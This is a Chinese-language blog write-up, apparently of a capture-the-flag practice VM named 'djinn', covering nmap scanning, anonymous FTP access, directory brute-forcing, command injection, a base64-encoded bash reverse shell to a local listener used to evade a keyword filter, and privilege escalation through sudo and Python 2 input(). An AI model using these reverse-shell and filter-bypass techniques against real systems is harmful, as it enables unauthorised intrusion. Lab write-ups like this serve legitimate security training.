乐趣区

关于golang:做一个靶机练习djinn

前几天始终在背材料,背的很烦,找个靶机来玩玩.

<!–more–>

第一件事,先找一下主机地址,因为我在本人的局域网内,我不必扫也晓得这台刚开的主机 ip 是多少 … 但如果不晓得的话,能够用 nmap 检测一下,sS 是指用半开放式扫描,不会实现三次握手,速度要快一点

sudo nmap -sS 192.168.1.0/24

扫描后果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00010s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)

当初拿到了靶机的 ip 地址,能够开始收集信息了,探测一下凋谢了哪些端口,先扫一万个试试,-O 参数可获取一些零碎的指纹信息

sudo nmap -sS -O 192.168.1.8 -p1-10000

扫描后果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00027s latency).
Not shown: 9996 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
1337/tcp open  waste
7331/tcp open  swx
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

扫出来了四个端口,一个个来,先看 ftp,用匿名登录试试。用户名:anonymous, 无明码. 登录胜利.

Name (192.168.1.8:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              11 Oct 20 23:54 creds.txt
-rw-r--r--    1 0        0             128 Oct 21 00:23 game.txt
-rw-r--r--    1 0        0             113 Oct 21 00:23 message.txt
226 Directory send OK.

别离把三个文件下载下来,查看信息

mget creds.txt game.txt message.txt
cat creds.txt
nitu:81299
cat game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.
cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.

game.txt 里说在 1337 端口有一个游戏,先拜访一下试试

那再试试 7331 端口,这次有反馈了,爆破一把梭

gobuster dir -u http://192.168.1.8:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

一小会就扫出来两个目录

/wish (Status: 200)
/genie (Status: 200)

拜访一下 wish,有个输出参数的中央,输出 id 试一下,能够执行命令

当初要想方法反弹 shell 了。间接用 bash -i >& /dev/tcp/192.168.1.9/2333 0>&1 试试。
报错 Wrong choice of words 。猜想可能是过滤了某些关键字,用 base64 编码看看能不能执行命令.
在 Linux 下生成将命令编码很简略:echo "id" | base64 ,输入 aWQK, 这就是 id 这个命令编码之后的后果了,而后再解码,执行:echo aWQK |base64 -d |bash
测试了一下,能够失常应用 echo,对反弹 shell 命令进行编码

echo "bash -i >& /dev/tcp/192.168.1.9/2333 0>&1" |base64

在本地监听 2333 端口 nc -lvp 2333,把反弹命令放到浏览器中执行, 胜利获取到 shell(我过后测试是监听的 8899,都是一样的)

这个反弹回来的 shell 有些命令不能执行,比方 su。。。不能切换用户,所以须要获取一个 pty。

python -c "import pty;pty.spawn('/bin/bash')"

提权

提权能够尝试找一找提权脚本来试试,我没有用,是缓缓的翻文件的。。。
在 nitish 用户目录下有个 user.txt 文件,然而没有权限关上,sam 用户目录间接就没有权限拜访。
持续找,在 nitish 下的 .dev 目录里有个 creds.txt, 输入一下

cat creds.txt
nitish:p4ssw0rdStr3r0n9

password??? 明码到手了?切换用户试试,nice, 先看看 nitish 的 flag
10aay8289ptgguy1pvfa73alzusyyx3c
还没有拿到 root,还不能停下。
查一下有以后用户下有哪些命令能够一 root 执行

来试试这个 genie 是什么货色, 用 man 查一下

能够做任何想做的事???我间接用 root 用户执行命令行不行?

没有权限,还 wish 个屁啊,放低点要求,我换成 sam 试试

能够,当初是 sam 了,再看一看有哪些能够以 root 执行的命令

Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

又来一个 /root/lago, 再试试

这前面的操作就跟我无关了,看大佬文章了,找到 .pyc 文件,反编译 pyc, 而后是利用 python 的 input。
在 sam 的用户目录下有个 .pyc 文件,查看文件能够晓得这是 /root/lago 编译进去的,对 .pyc 反编译,而后利用 python2 外面的 input 个性,只有条件合乎,就执行胜利, 所以间接输出 num 就行

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100:'
    s = input('Enter your number:')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

公众号:没有幻想的阿巧 后盾回复 “ 群聊 ”,一起学习,一起提高

退出移动版